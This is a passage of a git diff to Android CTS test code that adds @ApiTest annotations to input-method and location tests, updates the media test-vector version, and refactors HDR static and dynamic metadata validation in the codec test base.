- verifyHideImeBackPressed(true /* appRequestsLegacy */, false /* imeRequestsLegacy */);
+ verifyHideImeBackPressed(false/* appRequestsBackCallback */,
+ true/* imeRequestsBackCallback */);
}
@Test
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
index 8cc0b8efb54..c098ad0ecf5 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
@@ -54,6 +54,7 @@ import androidx.test.filters.FlakyTest;
import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.ApiTest;
import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
@@ -147,6 +148,10 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
}
@Test
+ @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onPrepareStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onStartStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onFinishStylusHandwriting"})
public void testHandwritingStartAndFinish() throws Exception {
final InputMethodManager imm = mContext.getSystemService(InputMethodManager.class);
try (MockImeSession imeSession = MockImeSession.create(
@@ -157,13 +162,13 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
final String marker = getTestMarker();
final EditText editText = launchTestActivity(marker);
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
// Touch down with a stylus
final int x = 10;
final int y = 10;
TestUtils.injectStylusDownEvent(editText, x, y);
- expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
notExpectEvent(
stream,
editorMatcher("onStartInputView", marker),
@@ -209,6 +214,9 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
* @throws Exception
*/
@Test
+ @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onStylusMotionEvent",
+ "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"})
public void testHandwritingStylusEvents_onStylusHandwritingMotionEvent() throws Exception {
testHandwritingStylusEvents(false /* verifyOnInkView */);
}
@@ -219,6 +227,9 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
* @throws Exception
*/
@Test
+ @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onStylusMotionEvent",
+ "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"})
public void testHandwritingStylusEvents_dispatchToInkView() throws Exception {
testHandwritingStylusEvents(false /* verifyOnInkView */);
}
@@ -234,6 +245,7 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
final String marker = getTestMarker();
final EditText editText = launchTestActivity(marker);
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
final List<MotionEvent> injectedEvents = new ArrayList<>();
// Touch down with a stylus
@@ -241,7 +253,6 @@ public class StylusHandwritingTest extends EndToEndImeTestBase {
final int startY = 10;
injectedEvents.add(TestUtils.injectStylusDownEvent(editText, startX, startY));
- expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
notExpectEvent(
stream,
editorMatcher("onStartInputView", marker),
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
index 08ddca145d9..2baa2f1d3be 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
@@ -33,10 +33,12 @@ import android.content.Intent;
import android.content.pm.PackageManager.ResolveInfoFlags;
import android.location.Geocoder;
import android.location.Geocoder.GeocodeListener;
+import android.platform.test.annotations.AppModeFull;
import androidx.test.core.app.ApplicationProvider;
import androidx.test.ext.junit.runners.AndroidJUnit4;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.RetryRule;
import org.junit.Before;
@@ -73,6 +75,8 @@ public class GeocoderTest {
}
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocation")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocation() {
assumeTrue(Geocoder.isPresent());
@@ -82,6 +86,8 @@ public class GeocoderTest {
verify(listener, timeout(10000)).onGeocode(anyList());
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocation")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocation_sync() throws Exception {
assumeTrue(Geocoder.isPresent());
@@ -89,6 +95,8 @@ public class GeocoderTest {
mGeocoder.getFromLocation(60, 30, 5);
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocation")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocation_badInput() {
GeocodeListener listener = mock(GeocodeListener.class);
@@ -102,6 +110,8 @@ public class GeocoderTest {
() -> mGeocoder.getFromLocation(10, 181, 5, listener));
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocationName")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocationName() {
assumeTrue(Geocoder.isPresent());
@@ -111,6 +121,8 @@ public class GeocoderTest {
verify(listener, timeout(10000)).onGeocode(anyList());
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocationName")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocationName_sync() throws Exception {
assumeTrue(Geocoder.isPresent());
@@ -118,6 +130,8 @@ public class GeocoderTest {
mGeocoder.getFromLocationName("Dalvik,Iceland", 5);
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocationName")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocationName_badInput() {
GeocodeListener listener = mock(GeocodeListener.class);
diff --git a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
index a70065cce07..c40605282da 100644
--- a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
+++ b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
@@ -34,6 +34,8 @@ import android.os.UserHandle;
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
@@ -54,6 +56,11 @@ public class LocationDisabledAppOpsTest {
}
@Test
+ @ApiTest(apis = {
+ "android.location.LocationManager#setLocationEnabledForUser",
+ "android.app.AppOpsManager#noteOpNoThrow",
+ "android.app.AppOpsManager#checkOpNoThrow",
+ })
public void testLocationAppOpIsIgnoredForAppsWhenLocationIsDisabled() {
PackageTagsList ignoreList = mLm.getIgnoreSettingsAllowlist();
@@ -85,7 +92,8 @@ public class LocationDisabledAppOpsTest {
mode[0] = mAom.noteOpNoThrow(
OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
});
- if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
+ if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)
+ && !mLm.isProviderPackage(null, pi.packageName, null)) {
bypassedNoteOps.add(pi.packageName);
}
@@ -95,7 +103,8 @@ public class LocationDisabledAppOpsTest {
mode[0] = mAom
.checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
});
- if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
+ if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)
+ && !mLm.isProviderPackage(null, pi.packageName, null)) {
bypassedCheckOps.add(pi.packageName);
}
diff --git a/tests/media/AndroidTest.xml b/tests/media/AndroidTest.xml
index 6dc463130a9..588ddf8dc2a 100644
--- a/tests/media/AndroidTest.xml
+++ b/tests/media/AndroidTest.xml
@@ -26,7 +26,7 @@
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
- <option name="media-folder-name" value="CtsMediaV2TestCases-2.3" />
+ <option name="media-folder-name" value="CtsMediaV2TestCases-2.4" />
<option name="dynamic-config-module" value="CtsMediaV2TestCases" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/media/DynamicConfig.xml b/tests/media/DynamicConfig.xml
index 74f76c54324..72f13e0adce 100644
--- a/tests/media/DynamicConfig.xml
+++ b/tests/media/DynamicConfig.xml
@@ -1,5 +1,5 @@
<dynamicConfig>
<entry key="media_files_url">
- <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.3.zip</value>
+ <value>https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip</value>
</entry>
</dynamicConfig>
diff --git a/tests/media/README.md b/tests/media/README.md
index 00fd0c15aad..525379c3496 100644
--- a/tests/media/README.md
+++ b/tests/media/README.md
@@ -3,7 +3,7 @@ Current folder comprises of files necessary for testing media extractor, media m
The aim of these tests is not solely to verify the CDD requirements but also to test components, their plugins and their interactions with media framework.
-The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.3.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
+The test vectors used by the test suite is available at [link](https://storage.googleapis.com/android_media/cts/tests/media/CtsMediaV2TestCases-2.4.zip) and is downloaded automatically while running tests. Manual installation of these can be done using copy_media.sh script in this directory.
All Big Buck Bunny(bbb) test vectors are of 8-bit format. They are downloaded from [link](https://peach.blender.org/download/) and resampled according to the test requirements.
All Cosmos Laundromat(cosmat) test vectors are of 10-bit format. They are downloaded from [link](https://media.xiph.org/) and resampled according to the test requirements.
diff --git a/tests/media/copy_media.sh b/tests/media/copy_media.sh
index df67e307782..d7e5d8893e5 100755
--- a/tests/media/copy_media.sh
+++ b/tests/media/copy_media.sh
@@ -17,7 +17,7 @@
## script to install mediav2 test files manually
adbOptions=" "
-resLabel=CtsMediaV2TestCases-2.3
+resLabel=CtsMediaV2TestCases-2.4
srcDir="/tmp/$resLabel"
tgtDir="/sdcard/test"
usage="Usage: $0 [-h] [-s serial]"
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index f03fa90bb0d..efa8441b2ab 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -135,9 +135,9 @@ public class CodecDecoderSurfaceTest extends CodecDecoderTestBase {
{MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_360x640_768kbps_30fps_avc.mp4",
"bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL},
{MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_160x1024_1500kbps_30fps_avc.mp4",
- "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL},
+ "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_OPTIONAL},
{MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x120_1500kbps_30fps_avc.mp4",
- "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_ALL},
+ "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_OPTIONAL},
{MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_520x390_1mbps_30fps_hevc.mp4",
"bbb_340x280_768kbps_30fps_hevc.mp4", CODEC_ALL},
{MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_128x96_64kbps_12fps_mpeg4.mp4",
diff --git a/tests/media/src/android/mediav2/cts/CodecInfoTest.java b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
index 5f9aa09c891..e38094cb25b 100644
--- a/tests/media/src/android/mediav2/cts/CodecInfoTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
@@ -27,6 +27,8 @@ import android.view.Display;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Assert;
import org.junit.Assume;
import org.junit.Ignore;
@@ -95,9 +97,17 @@ public class CodecInfoTest {
* default 10-bit profiles, those are excluded from this test.
*/
@Test
+ // TODO (b/228237404) Remove the following once there is a reliable way to query HDR
+ // display capabilities at native level, till then limit the test to vendor codecs
+ @NonMediaMainlineTest
+ @ApiTest(apis = "MediaCodecInfo.CodecCapabilities#profileLevels")
public void testHDRDisplayCapabilities() {
Assume.assumeTrue("Test needs Android 13", IS_AT_LEAST_T);
+ Assume.assumeTrue("Test needs VNDK Android 13", VNDK_IS_AT_LEAST_T);
Assume.assumeTrue("Test is applicable for video codecs", mMediaType.startsWith("video/"));
+ // TODO (b/228237404) Remove the following once there is a reliable way to query HDR
+ // display capabilities at native level, till then limit the test to vendor codecs
+ Assume.assumeTrue("Test is restricted to vendor codecs", isVendorCodec(mCodecName));
int[] Hdr10Profiles = mProfileHdr10Map.get(mMediaType);
int[] Hdr10PlusProfiles = mProfileHdr10PlusMap.get(mMediaType);
@@ -158,10 +168,11 @@ public class CodecInfoTest {
.noneMatch(x -> x == COLOR_FormatSurface));
}
- // For devices launching with Android T, if a codec supports an HDR profile, it must
- // advertise P010 support
+ // For devices launching with Android T, if a codec supports an HDR profile and device
+ // supports HDR display, it must advertise P010 support
int[] HdrProfileArray = mProfileHdrMap.get(mMediaType);
- if (FIRST_SDK_IS_AT_LEAST_T && HdrProfileArray != null) {
+ if (FIRST_SDK_IS_AT_LEAST_T && VNDK_IS_AT_LEAST_T
+ && HdrProfileArray != null && DISPLAY_HDR_TYPES.length > 0) {
for (CodecProfileLevel pl : caps.profileLevels) {
if (IntStream.of(HdrProfileArray).anyMatch(x -> x == pl.profile)) {
assertFalse(mCodecInfo.getName() + " supports HDR profile " + pl.profile + "," +
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 0368d882d36..9d1d839c47d 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -30,7 +30,9 @@ import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaCodecList;
import android.media.MediaExtractor;
import android.media.MediaFormat;
+import android.media.MediaMuxer;
import android.os.Build;
+import android.os.Bundle;
import android.os.PersistableBundle;
import android.os.SystemProperties;
import android.util.Log;
@@ -74,6 +76,7 @@ import com.android.compatibility.common.util.MediaUtils;
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_HdrEditing;
import static android.media.MediaCodecInfo.CodecProfileLevel.*;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
@@ -589,17 +592,13 @@ class OutputManager {
abstract class CodecTestBase {
public static final boolean IS_Q = ApiLevelUtil.getApiLevel() == Build.VERSION_CODES.Q;
public static final boolean IS_AT_LEAST_R = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
- // Checking for CODENAME helps in cases when build version on the development branch isn't
- // updated yet but CODENAME is updated.
public static final boolean IS_AT_LEAST_T =
- ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU) ||
- ApiLevelUtil.codenameEquals("Tiramisu");
- // TODO (b/223868241) Update the following to check for Build.VERSION_CODES.TIRAMISU once
- // TIRAMISU is set correctly
+ ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU);
public static final boolean FIRST_SDK_IS_AT_LEAST_T =
- ApiLevelUtil.isFirstApiAfter(Build.VERSION_CODES.S_V2);
+ ApiLevelUtil.isFirstApiAtLeast(Build.VERSION_CODES.TIRAMISU);
public static final boolean VNDK_IS_AT_LEAST_T =
- SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.S_V2;
+ SystemProperties.getInt("ro.vndk.version", 0) >= Build.VERSION_CODES.TIRAMISU;
+ public static final boolean IS_HDR_EDITING_SUPPORTED = isHDREditingSupported();
private static final String LOG_TAG = CodecTestBase.class.getSimpleName();
enum SupportClass {
CODEC_ALL, // All codecs must support
@@ -607,30 +606,14 @@ abstract class CodecTestBase {
CODEC_DEFAULT, // Default codec must support
CODEC_OPTIONAL // Codec support is optional
}
+
+ static final ArrayList<String> HDR_INFO_IN_BITSTREAM_CODECS = new ArrayList<>();
static final String HDR_STATIC_INFO =
- "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 e8 03 64 00 e8 03 2c 01";
- static final String[] HDR_DYNAMIC_INFO = new String[]{
- "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
- "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
- "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
- "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
-
- "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
- "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
- "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
- "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
-
- "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
- "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
- "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
- "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
-
- "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
- "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
- "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
- "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00",
- };
- boolean mTestDynamicMetadata = false;
+ "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+ static final String HDR_STATIC_INCORRECT_INFO =
+ "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d";
+ static final HashMap<Integer, String> HDR_DYNAMIC_INFO = new HashMap<>();
+ static final HashMap<Integer, String> HDR_DYNAMIC_INCORRECT_INFO = new HashMap<>();
static final String CODEC_PREFIX_KEY = "codec-prefix";
static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix";
static final String MIME_SEL_KEY = "mime-sel";
@@ -786,6 +769,45 @@ abstract class CodecTestBase {
mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_PROFILES);
mProfileMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_PROFILES);
mProfileMap.put(MediaFormat.MIMETYPE_AUDIO_AAC, AAC_PROFILES);
+
+ HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_AV1);
+ HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+ HDR_INFO_IN_BITSTREAM_CODECS.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+
+ HDR_DYNAMIC_INFO.put(0, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00");
+ HDR_DYNAMIC_INFO.put(4, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00");
+ HDR_DYNAMIC_INFO.put(12, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00");
+ HDR_DYNAMIC_INFO.put(22, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00");
+
+
+ HDR_DYNAMIC_INCORRECT_INFO.put(0, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 00");
+ HDR_DYNAMIC_INCORRECT_INFO.put(4, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 01");
+ HDR_DYNAMIC_INCORRECT_INFO.put(12, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 02");
+ HDR_DYNAMIC_INCORRECT_INFO.put(22, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" +
+ "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" +
+ "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" +
+ "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 03");
}
static int[] combine(int[] first, int[] second) {
@@ -845,6 +867,22 @@ abstract class CodecTestBase {
return isSupported;
}
+ static boolean isHDREditingSupported() {
+ MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+ if (!codecInfo.isEncoder()) {
+ continue;
+ }
+ for (String mediaType : codecInfo.getSupportedTypes()) {
+ CodecCapabilities caps = codecInfo.getCapabilitiesForType(mediaType);
+ if (caps != null && caps.isFeatureSupported(FEATURE_HdrEditing)) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
static boolean doesAnyFormatHaveHDRProfile(String mime, ArrayList<MediaFormat> formats) {
int[] profileArray = mProfileHdrMap.get(mime);
if (profileArray != null) {
@@ -1348,6 +1386,12 @@ abstract class CodecTestBase {
return Arrays.copyOfRange(tempArray, 0, i);
}
+ void insertHdrDynamicInfo(byte[] info) {
+ final Bundle params = new Bundle();
+ params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
+ mCodec.setParameters(params);
+ }
+
boolean isFormatSimilar(MediaFormat inpFormat, MediaFormat outFormat) {
if (inpFormat == null || outFormat == null) return false;
String inpMime = inpFormat.getString(MediaFormat.KEY_MIME);
@@ -1406,41 +1450,26 @@ abstract class CodecTestBase {
}
}
- void validateHDRStaticMetaData(MediaFormat fmt, ByteBuffer hdrStaticRef) {
- ByteBuffer hdrStaticInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, null);
- assertNotNull("No HDR static metadata present in format : " + fmt, hdrStaticInfo);
- if (!hdrStaticRef.equals(hdrStaticInfo)) {
+ void validateHDRInfo(MediaFormat fmt, String hdrInfoKey, ByteBuffer hdrInfoRef) {
+ ByteBuffer hdrInfo = fmt.getByteBuffer(hdrInfoKey, null);
+ assertNotNull("No " + hdrInfoKey + " present in format : " + fmt, hdrInfo);
+ if (!hdrInfoRef.equals(hdrInfo)) {
StringBuilder refString = new StringBuilder("");
StringBuilder testString = new StringBuilder("");
- byte[] ref = new byte[hdrStaticRef.capacity()];
- hdrStaticRef.get(ref);
- byte[] test = new byte[hdrStaticInfo.capacity()];
- hdrStaticInfo.get(test);
- for (int i = 0; i < Math.min(ref.length, test.length); i++) {
+ byte[] ref = new byte[hdrInfoRef.capacity()];
+ hdrInfoRef.get(ref);
+ hdrInfoRef.rewind();
+ byte[] test = new byte[hdrInfo.capacity()];
+ hdrInfo.get(test);
+ hdrInfo.rewind();
+ for (int i = 0; i < ref.length; i++) {
refString.append(String.format("%2x ", ref[i]));
- testString.append(String.format("%2x ", test[i]));
}
- fail("hdr static info mismatch" + "\n" + "ref static info : " + refString + "\n" +
- "test static info : " + testString);
- }
- }
-
- void validateHDRDynamicMetaData(MediaFormat fmt, ByteBuffer hdrDynamicRef) {
- ByteBuffer hdrDynamicInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR10_PLUS_INFO, null);
- assertNotNull("No HDR dynamic metadata present in format : " + fmt, hdrDynamicInfo);
- if (!hdrDynamicRef.equals(hdrDynamicInfo)) {
- StringBuilder refString = new StringBuilder("");
- StringBuilder testString = new StringBuilder("");
- byte[] ref = new byte[hdrDynamicRef.capacity()];
- hdrDynamicRef.get(ref);
- byte[] test = new byte[hdrDynamicInfo.capacity()];
- hdrDynamicInfo.get(test);
- for (int i = 0; i < Math.min(ref.length, test.length); i++) {
- refString.append(String.format("%2x ", ref[i]));
+ for (int i = 0; i < test.length; i++) {
testString.append(String.format("%2x ", test[i]));
}
- fail("hdr dynamic info mismatch" + "\n" + "ref dynamic info : " + refString + "\n" +
- "test dynamic info : " + testString);
+ fail(hdrInfoKey + " mismatch in codec " + mCodecName + "\nref info : " + refString +
+ "\n test info : " + testString);
}
}
@@ -1662,15 +1691,8 @@ class CodecDecoderTestBase extends CodecTestBase {
int height = format.getInteger(MediaFormat.KEY_HEIGHT);
int stride = format.getInteger(MediaFormat.KEY_STRIDE);
mOutputBuff.checksum(buf, info.size, width, height, stride, bytesPerSample);
-
- if (mTestDynamicMetadata) {
- validateHDRDynamicMetaData(mCodec.getOutputFormat(), ByteBuffer
- .wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount])));
-
- }
}
}
-
if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
mSawOutputEOS = true;
}
@@ -1790,57 +1812,18 @@ class CodecDecoderTestBase extends CodecTestBase {
mCodec.release();
mExtractor.release();
}
-
- void validateHDRStaticMetaData(String parent, String name, ByteBuffer HDRStatic,
- boolean ignoreContainerStaticInfo)
- throws IOException, InterruptedException {
- mOutputBuff = new OutputManager();
- MediaFormat format = setUpSource(parent, name);
- if (ignoreContainerStaticInfo) {
- format.removeKey(MediaFormat.KEY_HDR_STATIC_INFO);
- }
- mCodec = MediaCodec.createByCodecName(mCodecName);
- configureCodec(format, true, true, false);
- mCodec.start();
- doWork(10);
- queueEOS();
- waitForAllOutputs();
- validateHDRStaticMetaData(mCodec.getOutputFormat(), HDRStatic);
- mCodec.stop();
- mCodec.release();
- mExtractor.release();
- }
-
- void validateHDRDynamicMetaData(String parent, String name, boolean ignoreContainerDynamicInfo)
- throws IOException, InterruptedException {
- mOutputBuff = new OutputManager();
- MediaFormat format = setUpSource(parent, name);
- if (ignoreContainerDynamicInfo) {
- format.removeKey(MediaFormat.KEY_HDR10_PLUS_INFO);
- }
- mCodec = MediaCodec.createByCodecName(mCodecName);
- configureCodec(format, true, true, false);
- mCodec.start();
- doWork(10);
- queueEOS();
- waitForAllOutputs();
- mCodec.stop();
- mCodec.release();
- mExtractor.release();
- }
}
class CodecEncoderTestBase extends CodecTestBase {
private static final String LOG_TAG = CodecEncoderTestBase.class.getSimpleName();
// files are in WorkDir.getMediaDirString();
- private static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw";
- private static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv";
+ protected static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw";
+ protected static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv";
protected static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw";
protected static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv";
-
- private final int INP_FRM_WIDTH = 352;
- private final int INP_FRM_HEIGHT = 288;
+ protected final int INP_FRM_WIDTH = 352;
+ protected final int INP_FRM_HEIGHT = 288;
final String mMime;
final int[] mBitrates;
@@ -2199,3 +2182,241 @@ class CodecEncoderTestBase extends CodecTestBase {
return cdtb.mOutputBuff.getBuffer();
}
}
+
+class HDRDecoderTestBase extends CodecDecoderTestBase {
+ private static final String LOG_TAG = HDRDecoderTestBase.class.getSimpleName();
+
+ private ByteBuffer mHdrStaticInfoRef;
+ private ByteBuffer mHdrStaticInfoStream;
+ private ByteBuffer mHdrStaticInfoContainer;
+ private Map<Integer, String> mHdrDynamicInfoRef;
